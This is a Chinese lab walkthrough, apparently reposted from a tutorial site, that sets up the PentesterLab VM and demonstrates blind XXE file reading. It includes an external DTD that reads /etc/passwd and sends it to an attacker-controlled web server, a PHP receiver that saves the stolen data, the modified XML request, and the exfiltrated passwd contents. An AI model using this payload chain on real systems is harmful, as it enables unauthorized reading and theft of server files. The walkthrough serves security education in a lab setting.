一.PentesterLab靶场搭建(实验环境搭建)

介绍:PentesterLab 是一个全面的漏洞演示平台,但是它是收费的,我们这里只使用它的 xxe 演示案例。

安装 PentesterLab 虚拟机:下载好镜像:
1.打开VMware新建虚拟机,选择典型就行。

然后选择我们的镜像,下一步:

选择linux,和linux3.x不要选64位的。

下一步,然后自己调节文件保存位置:

磁盘空间默认就行:

点击自定义硬件:

我们去调一下内存,把内存调到一个g。

然后我们点击关闭再点击完成即可:

我们打开虚拟机:

输入ifconfig查看ip:192.168.112.18

我们打开浏览器,看到一下页面显示则靶场安装成功。

二.XXE无回显文件读取

实验环境描述:Kali 作为黑客并建立黑客接收和提交数据的 Web 站点,PentesterLab 作为
server 被攻击端
原理:

我们需要建立一个外部的 dtd 文件,一个用于接收数据的 php 文件,以及存储数据的数据文件。
1、建立 dtd 外部实体文件:
# cd /var/www/html/
# vim test.dtd #插入以下内容
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.112.128/xxe.php?pass=%p1;'>">
%p2;

注:% p1 定义一个参数实体,%和 p1 之间有一个空格,用于接收 file:///etc/passwd 的内
容,%p1 引用参数实体,参数实体只能在 DTD 文件中被引用。
2、建立 php 文件
└─# vim xxe.php #插入以下内容
<?php
$pass=$_GET['pass'];
file_put_contents('pass.txt',$pass);
?>

3、创建存储数据的文件
└─# touch pass.txt
4、修改文件权限
└─# chown -R www-data:www-data /var/www/html/*
5、启动 apache2
└─# systemctl start apache2
6、测试 php 文件能够正常写入数据
└─# curl http://192.168.1.53/xxe.php?pass=1
└─# cat pass.txt
1

到这里基本工作就完成了。

下面我们进入靶场点击左上角login,利用bp进行抓包。

我们修改请求:

<?xml version="1.0"?>
<!DOCTYPE e1 SYSTEM "http://192.168.1.53/test.dtd">
<foo>&e1;</foo>
改:Content-Type: application/x-www-form-urlencoded
为:Content-Type: text/xml

放包就行。

我们就成功带外出了etc/passwd的内容:

root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/89403.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/89403.shtml
英文地址,请注明出处:http://en.pswp.cn/web/89403.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【机器学习】图片分类中增强常用方式详解以及效果展示

图片增强常用方式详解 引言 图片数据的质量和多样性对模型的训练效果起着至关重要的作用。然而&#xff0c;实际获取的图片数据往往存在数量不足、分布不均衡等问题。图片增强技术应运而生&#xff0c;它通过对原始图片进行一系列变换&#xff0c;生成更多具有多样性的图片&…

【URL 转换为PDF】HTML转换为PDF

1、方法1 pdfkit 安装依赖 # 安装 wkhtmltopdf&#xff08;系统级&#xff09; # Ubuntu/Debian sudo apt install wkhtmltopdf# macOS brew install wkhtmltopdf# Windows 下载安装&#xff1a;https://wkhtmltopdf.org/downloads.html# 安装 Python 库 pip install pdfkitimp…

单链表的定义、插入和删除

一、定义一个单链表 struct LNode{ //定义单链表节点类型ElemType data; //存放节点数据元素struct LNode *next; //指针指向下一个结点 }; //增加一个新节点&#xff1a;在内存中申请一个结点所需空间&#xff0c;并用指针p指向这个结点 struct LNode * p (struc…

Nextjs官方文档异疑惑

第一个区别&#xff1a;不同的页面对应的路由器设定&#xff01; 继续用 app 路由器&#xff08;推荐&#xff0c;Next.js 未来主流&#xff09; 路由规则&#xff1a;app 目录下&#xff0c;文件夹 page.tsx 对应路由。例如&#xff1a; app/page.tsx → 对应 / 路由&#xf…

突破AI模型访问的“光标牢笼”:长上下文处理与智能环境隔离实战

> 当AI模型面对浩瀚文档却只能处理零星片段,当关键信息散落各处而模型“视而不见”,我们该如何打破这堵无形的墙? 在自然语言处理领域,**输入长度限制**(常被称为“光标区域限制”)如同一个无形的牢笼,严重制约了大型语言模型(LLM)在真实场景中的应用潜力。无论是分…

AI 智能质检系统在汽车制造企业的应用​

某知名汽车制造企业在其庞大且复杂的生产流程中&#xff0c;正面临着棘手的汽车零部件质检难题。传统的人工质检方式&#xff0c;完全依赖人工的肉眼观察与简单工具测量。质检员们长时间处于高强度的工作状态&#xff0c;精神高度集中&#xff0c;即便如此&#xff0c;由于人工…

设计模式》》门面模式 适配器模式 区别

// 复杂子系统 class CPU {start() { console.log("CPU启动"); } } class Memory {load() { console.log("内存加载"); } } class HardDrive {read() { console.log("硬盘读取"); } }// 门面 class ComputerFacade {constructor() {this.cpu ne…

windows内核研究(驱动开发 第一个驱动程序和调试环境搭建)

驱动开发 第一个驱动程序 驱动的开发流程 1.编写代码 -> 生成.sys文件 -> 部署 -> 启动 -> 停止 ->卸载 // 编写我们的第一个驱动程序 #include<ntddk.h>// 卸载函数 VOID DrvUnload(PDRIVER_OBJECT DriverObject) {DbgPrint("我被卸载了\n"…

ABP VNext + 多级缓存架构:本地 + Redis + CDN

ABP VNext 多级缓存架构&#xff1a;本地 Redis CDN &#x1f4da; 目录ABP VNext 多级缓存架构&#xff1a;本地 Redis CDN一、引言 &#x1f680;二、环境与依赖 &#x1f6e0;️三、架构概览 &#x1f310;请求全链路示意 &#x1f6e3;️四、本地内存缓存层 &#x1…

RGBA图片格式转换为RGB格式(解决convert转换的失真问题)

使用convert转换的问题 OpenCV 的 cv2.cvtColor(…, cv2.COLOR_BGRA2GRAY) 会直接忽略 Alpha 通道的含义&#xff0c;将它当作第四个颜色通道来处理。 转换公式如下&#xff1a; gray 0.114*255 0.587*0 0.299*0 ≈ 29也就是说&#xff0c;即使 Alpha 为 0&#xff08;完全透…

Spring AI之Prompt开发

文章目录1 提示词工程1_核心策略2_减少模型“幻觉”的技巧2 提示词攻击防范1_提示注入&#xff08;Prompt Injection&#xff09;2_越狱攻击&#xff08;Jailbreaking&#xff09;3 数据泄露攻击&#xff08;Data Extraction&#xff09;4 模型欺骗&#xff08;Model Manipulat…

Java面试(基础篇) - 第二篇!

未看第一篇的&#xff0c;这里可以直达 Java面试(基础篇) - 第一篇 Integer对象可以用判断吗&#xff1f;为什么&#xff1f; 回答 不可以&#xff0c;因为 比较的是对象的实例&#xff08;内存地址&#xff09;&#xff0c;Integer是有一个缓存机制的&#xff0c;它会将-1…

【C# in .NET】11. 探秘泛型:类型参数化革命

探秘泛型:类型参数化革命 泛型是 C# 和.NET框架中一项革命性的特性,它实现了 “编写一次,多处复用” 的抽象能力,同时保持了静态类型的安全性和高性能。与 C++ 模板等其他语言的泛型机制不同,.NET 泛型在 CLR(公共语言运行时)层面提供原生支持,这使得它兼具灵活性、安…

菜单权限管理

菜单管理系统的整体架构1.Menu 菜单表2.role 角色表3.role_menu 角色菜 单关联表&#xff08;多对多 &#xff09;要找role_id为3的角色能用哪个菜单:SELECT *FROM sys_menu a LEFT JOIN sys_role_menu b ON a.menu_id b.menu_id WHERE role_id3拆分开就是4.user 用户表5.user…

SQL FOREIGN KEY:详解及其在数据库设计中的应用

SQL FOREIGN KEY:详解及其在数据库设计中的应用 引言 在数据库设计中,数据完整性是至关重要的。SQL FOREIGN KEY(外键)是实现数据完整性的一种有效手段。本文将详细解释SQL FOREIGN KEY的概念、用途以及在实际数据库设计中的应用。 外键概述 1. 定义 外键(FOREIGN KE…

[yotroy.cool] 记一次 spring boot 项目宝塔面板部署踩坑

个人博客https://www.yotroy.cool/&#xff0c;感谢关注&#xff5e; 图片资源可能显示不全&#xff0c;请前往博客查看哦&#xff01;部署了个新项目&#xff0c;给我整抑郁了。。。下面是踩坑过程 宝塔面板 MySql5.7 版本 root 密码错误 这个MySQL5.7 安装完后就跑不了&#…

前端之HTML学习

HTML 学习笔记 前端三大件 HTML&#xff1a;超文本标记语言&#xff08;HyperText Markup Language&#xff09;CSS&#xff1a;层叠样式表JavaScript&#xff1a;客户端脚本语言常用框架&#xff1a;jQuery Vue 3(Element plus) HTML 基本概念 超文本&#xff1a;包含图像…

迅速高效从web2到web3转型 ,开启远程工作

Web2向Web3的转型&#xff0c;是技术、产品、组织结构和商业模式的深度变革。若要迅速且高效地完成这个转型&#xff0c;需要清晰的路径规划和战略执行。 目录 &#x1f501; 一、理解核心区别&#xff1a;Web2 vs Web3 &#x1f680; 二、转型路径 1. 选择合适的切入点 …

区块链开发协作工具全景图:从智能合约管理到去中心化治理

&#x1f4a5; 三重绞索&#xff1a;区块链开发的至暗时刻 1. 版本管理的深渊 当某DeFi团队凌晨修复漏洞时&#xff0c;发现生产环境运行的竟是两周前的废弃分支——37%的项目因代码分支混乱引发生产事故&#xff08;Electric Capital 2024&#xff09;。智能合约的版本漂移如同…

冒泡排序、选择排序、插入排序、快速排序

目录 1. 冒泡排序 (Bubble Sort) 算法思路分析 代码实现 复杂度分析 2. 选择排序 (Selection Sort) 算法思路分析 代码实现 复杂度分析 3. 插入排序 (Insertion Sort) 算法思路分析 代码实现 复杂度分析 4. 快速排序 (Quick Sort) 算法思路分析 代码实现 复杂度…